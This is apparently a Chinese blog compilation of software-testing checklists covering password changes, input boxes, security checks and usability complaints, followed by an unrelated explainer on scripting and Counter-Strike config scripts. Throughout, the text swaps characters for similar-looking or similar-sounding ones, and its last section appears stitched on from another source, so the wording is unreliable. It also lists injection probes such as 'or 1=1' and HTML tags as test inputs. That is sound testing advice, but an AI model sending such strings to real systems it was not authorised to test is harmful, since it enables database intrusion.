实际测试中可能只用到其中几条而已,好比银行卡密码的修改,就不用考虑英文和非法字符,更不用考虑那些TAP之类的快捷键。而有的须要根据需求具体分析了,好比连续出错多少次出现的提示,和一些软件修改密码要求必定时间内有必定的修改次数限制等等。
1.不输入旧密码,直接改密码
2.输入错误旧密码
3.不输入确认新密码
4.不输入新密码
5.新密码和确认新密码不一致
6.新密码中有空格
7.新密码为空
8.新密码为符合要求的最多字符
9.新密码为符合要求的最少字符
10.新密码为符合要求的非最多和最少字符
11.新密码为最多字符-1
12.新密码为最少字符+1
13.新密码为最多字符+1
14.新密码为最少字符-1
15.新密码为非容许字符(若有的密码要求必须是英文和数字组成,那么要试汉字和符号等)
16.看是否支持tap和enter键等;密码是否能够复制粘贴;密码是否以* 之类的加秘符号
17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写
18.新密码与旧密码同样可否修改为功
另一些其余的想法以下:
1 要测试全部规约中约定能够输入的特殊字符,字母,和数字,要求均可以正常输入、显示正常和添加成功
2 关注规约中的各类限制,好比长度,大否支持大小写。
3 考虑各类特殊状况,好比添加同名用户,系统是否正确校验给出提示信息,管理员账户是否能够删除,由于有些系统管理员拥有最大权限,一旦删除管理员账户,就不能在前台添加,这给最终用户会带来不少麻烦。比较特殊的是,当用户名中包括了特殊字符,那么对这类用户名的添加同名,修改,删除,系统是否可以正确实现,我就遇到了一个系统,添加同名用户时,若是之前的用户名没有特殊字符,系统能够给出提示信息,若是之前的用户名包含特殊字符,就不校验在插入数据库的时候报错。后来查到缘由了,原来是在java中拼SQL语句的时候,由于有"_",因此就调用了一个方法在“_”,前面加了一个转义字符,后来发现不应调用这个方法。因此去掉就行了。因此对待输入框中的特殊字符要多关注。
4 数值上的长度 之类的,包括出错信息是否合理
5 特殊字符:好比。 / ' " \ </html> 这些是否会形成系统崩溃
6 注入式bug:好比密码输入个or 1=1
7 登陆后是否会用明文传递参数
8 访问控制:登陆后保存里面的连接,关了浏览器直接复制连接看能不能访问。
输入框测试
1.验证输入与输出的是否信息一致;
2.输入框以前的标题是否正确;
3.对特殊字符的处理,尤为是输入信息徐须要发送到数据库的。特殊字符包括:'(单引号)、"(双引号)、[](中括号)、()(小括号)、{}(大括号)、;(分号)、<>(大于小于号)……
4.对输入框输入超过限制的字符的处理,通常非特殊的没有做出限制的在255byte左右;
5.输入框自己的大小、长度;
6.不一样内码的字符的输入;
7.对空格、TAB字符的处理机制;
8.字符自己显示的颜色;
9.密码输入窗口转换成星号或其它符号;
10.密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;
11.按下ctrl和alt键对输入框的影响;
12.对于新增、修改、注册时用的输入框,有限制的,应该输入时做出提示,指出不容许的或者标出容许的;
13.对于有约束条件要求的输入框应当在条件知足时输入框的状态发生相应的改变,好比选了湖南就应该列出湖南下面的市,或者选了某些条件以后,一些输入框会关闭或转为只读状态;
14.输入类型;根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如,是否容许输入数字或字母,不容许输入其余字符等。
15.输入长度;数据库字段有长度定义,当输入过长时,提交数据是否会出错。
16.输入状态;当处于某种状态下,输入框是否处于可写或非可写状态。例如,系统自动给予的编号等栏位做为惟一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,若是可写对其编辑的话,可能会形成数据重复引发冲突等。
17.若是是会进行数据库操做的输入框,还能够考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现
18.输入类型
输入长度
是否容许复制粘贴
为空的状况
空格的考虑
半角全角测试
对于密码输入框要考虑显示的内容是* 输入错误时的提示信息及提示信息是否准确
19.能够先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,而后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。
20.关键字有大小写混合的状况;
21.关键字中含有一个或多个空格的状况,包括前空格,中间空格(多个关键字),和后空格;
22.关键字中是否支持通配符的状况(视功能而定);
23.关键字的长度分别为九、十、11个字符时的状况;
24.关键字是valid,可是没有匹配搜索结果的状况;
25.输入html的标签会出现哪些问题?输入<html> 会出现什么问题呢?(这条是我本身发现的,在网上也没找到相似的东东,呵呵,你们凑合着看吧)
安全测试方面:
给出一些特别的关键字,好比 or 1=1, 这样的关键字若是不被处理就直接用到数据库查询中去,后果可想而知。
用户体验相关
我登陆失败的时候没有任何提示,这没什么,反正提示也只是说失败…
进去后发现颜色变动很强烈刺得我一眨眼,不过多看几回就习惯了。
点击某个连接的时候出现错误页面,刷新后就行了,难道是随机错误?
保存文字的时候没有成功提示,不过能成功保存就算了。
浏览记录的时候居然出现错误页面,原来我没有选记录就浏览了,我本身操做不规范嘛。
删除记录的时候发现选错了,想取消的时候却提示删除成功,都没有确认提示,只能下次看仔细点了。
查询时字母键被茶杯压住了多输了点字符,居然出现错误页面,下次把东西整理好。
无聊随便点点几个连接,居然没有反应,既然不用,那就不要作出来嘛。
看看本身上传的图片效果如何,这个怎么不显示?多试几回发现名字不包含中文就行了,下次注意下。
改改字体字号颜色美化环境嘛,怎么格式那里不显示正确的字体字号呢,将就用吧。
这里的记录条数怎么这么多啊?原来是没有删除按钮,看来下次不能随便加了。
这个结束时间怎么在开始时间前啊?原来没有进行控制,下面的人执行时……仍是本身改过来吧。
上次我在这里看见的图片呢?刷新后就出来了,怎么和我玩捉迷藏呢?
多输了点内容,保存时候提示太多了,点肯定后发现被清空了,我一个小时的工做啊!
这张图片真不错,可是按钮呢,按钮呢?按钮被挤掉了我怎么编辑啊。
据说F5是刷新点一下看看。怎么好像变成了登陆界面?
刚学了怎么用TAB键,确实很方便。TAB一下。跑哪去了,怎么一片空白啊???
玩游戏的人点击速度那么快,我也来试试。怎么一双击就出错了?
我找错别字是很厉害的,这不就发现“赞成”写成了“统一”。
这里提示只能输入1-100,我偏要输入9999……保存看看,怎么系统不能用了?
这里一点击就出现IE错误,硬是不弹出我须要的窗口。
这个查询按钮怎么灰掉了?这么多记录让我一页一页翻过去找啊。
上传第二个附件的时候怎么把第一个挤掉了啊,会挤掉也要提示一下嘛。
一个页面上打开的记录太多了,变体都用…省略了,要是鼠标放上去浮动显示完整标题就方便多了。
这几条记录有依存关系,删了一条其余就没了,提示都没有,早知道我就用编辑了……
这条记录怎么好像是昨天的,我记得今天更新了啊?原来编辑后的记录没有传到引用的地方。
最最奇怪的是昨天上传时候正常的图片今天就不能显示了。我记得没有只能显示一天的功能啊???
这里怎么没有任何按钮呢,看手册才知道居然要用右键进行操做,怎么忽然冒出个异类啊???
这里怎么能增长两条相同的记录呢?不控制一下天知道手下那些愣头青会作出什么来。
这里的菜单一层一层又一层,足足有五层,把我头都绕晕了……我记得哪里说过最好不要超过三层的。
这个界面看起来怎么这么别扭啊,是字体太大了,是按钮过小了,仍是功能太多了,……
怎么不是管理员登陆进来也能管理啊,那我这个管理员的身份不是画蛇添足吗?
删除的时候提示Error,幸好我英语水平好,但是你换成中文不行吗?
这条记录不是删除了吗,怎么还能引用啊,到时候出错了怎么办,难道还要我记住删了那些记录?
通过精心编辑,我发了一条通知,怎么用普通用户查看的时候是默认的字体字号啊???
脚本是批处理文件的延伸,是一种纯文本保存的程序,通常来讲的计算机脚本程序是肯定的一系列控制计算机进行运算操做动做的组合,在其中能够实现必定的逻辑分支等。
脚本简单地说就是一条条的文字命令,这些文字命令是能够看到的(如能够用记事本打开查看、编 辑),脚本程序在执行时,是由系统的一个解释器,将其一条条的翻译成机器可识别的指令,并按程序顺序执行。由于脚本在执行时多了一道翻译的过程,因此它比 二进制程序执行效率要稍低一些。
脚本一般能够由应用程序临时调用并执行。各种脚本被普遍地应用于网页设计中,由于脚本不只能够减少网页的规模和提升网页浏览速度,并且能够丰富网页的表现,如动画、声音等。举个最多见的例子,当点击网页上的Email地址时能自动调用Outlook Express或Foxmail这类邮箱软件,就是经过脚本功能来实现的。也正由于脚本的这些特色,每每被一些别有用心的人所利用。例如在脚本中加入一些破坏计算机系统的命令,这样当用户浏览网页时,一旦调用
这类脚本,便会使用户的系统受到攻击。因此用户应根据对所访问网页的信任程度选择安全等级,特别是对于那些自己内容就非法的网页,更不要轻易容许使用脚本。经过“安全设置”对话框,选择“脚本”选项下的各类设置就能够轻松实现对脚本的禁用和启用。
脚本语言是 比较多的,通常的脚本语言的执行只同具体的解释执行器有关,因此只要系统上有相应语言的解释程序就能够作到跨平台。脚本(Script),就是含有 bind和alias等命令的集合,你能够把这个集合存为一个独立的文件而后在须要的时候执行,这样就能够方便你在CS中的使用。脚本能够存为后缀名 为.cfg的文件放在cstrike文件夹下,执行时在控制台输入:exec(脚本文件名).cfg 便可。好比将一个脚本存为 buys.cfg文件,则在控制台中输入:execbuys.cfg则能够实现咱们所须要的功能。要实现一个命令只要把这一过程定义(alias)好,并 且分配一个键位给这个命令,之后只要按分配好的键位,就能够实现这一过程。全部的脚本都是经过这一方法实现的。
常见的脚本语言:Scala、JavaScript,VBScript,ActionScript,MAX Script,ASP,JSP,PHP,SQL,Perl,Shell,python,Ruby,JavaFX,Lua,AutoIt等。
语法和结构一般比较简单
学习和使用一般比较简单
一般以容易修改程序的“解释”做为运行方式,而不须要“编译”
程序的开发产能优于运行效能